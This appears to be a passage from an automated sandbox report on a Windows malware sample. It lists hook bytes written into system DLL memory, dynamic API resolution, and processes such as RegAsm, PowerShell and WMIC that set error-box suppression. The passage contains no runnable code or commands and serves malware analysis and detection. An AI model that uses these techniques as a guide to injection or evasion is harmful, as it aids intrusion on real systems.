Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE22380005 value: E9 CB 05 E6 FF	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE221E05D0 value: E9 3A FA 19 00	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE22390005 value: E9 9B 07 E0 FF	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE221907A0 value: E9 6A F8 1F 00	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE22010007 value: E9 AB 11 EB FF	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE21EC11B0 value: E9 5E EE 14 00	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE22020006 value: E9 BB 7F E7 FF	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE21E97FC0 value: E9 4C 80 18 00	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE1FF40007 value: E9 CB E3 E0 FF	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE1FD4E3D0 value: E9 3E 1C 1F 00	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE1FF50006 value: E9 AB 4D D0 FF	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE1FC54DB0 value: E9 5C B2 2F 00	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Memory written: PID: 7820 base: 7FFE22370008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Memory written: PID: 7820 base: 7FFE2220D9F0 value: E9 20 26 16 00	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_004195E0

Source: C:\Users\user\Desktop\gHPYUEh253.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
